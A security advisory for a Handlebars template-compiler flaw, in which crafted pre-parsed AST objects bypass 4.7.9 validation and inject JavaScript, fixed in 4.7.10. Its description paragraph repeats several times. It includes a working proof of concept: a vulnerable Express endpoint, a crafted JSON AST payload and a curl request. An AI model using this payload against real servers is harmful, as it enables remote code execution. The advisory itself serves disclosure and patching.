CVE-2026-106446

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

| AST value | Written into generated code as | Compile options needed | | --- | --- | --- | | Program.blockParams.length | container.program(<index>, data, <length>) | none (default options) | | depth on a param that is not a PathExpression, e.g. a StringLiteral | depths[<depth>] | stringParams: true | | A StringLiteral.value that is not a string | raw JavaScript literal | stringParams: true | | A PathExpression.original that is not a string | raw JavaScript literal | stringParams: true |

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

1. the blockParams object has no type, so none of the type-specific checks apply, and
2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

1. Start a server that compiles request input:

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);

2. Save this request body as poc.json. missingHelper does not need to exist:

{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}

3. Send the request:

curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code…

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.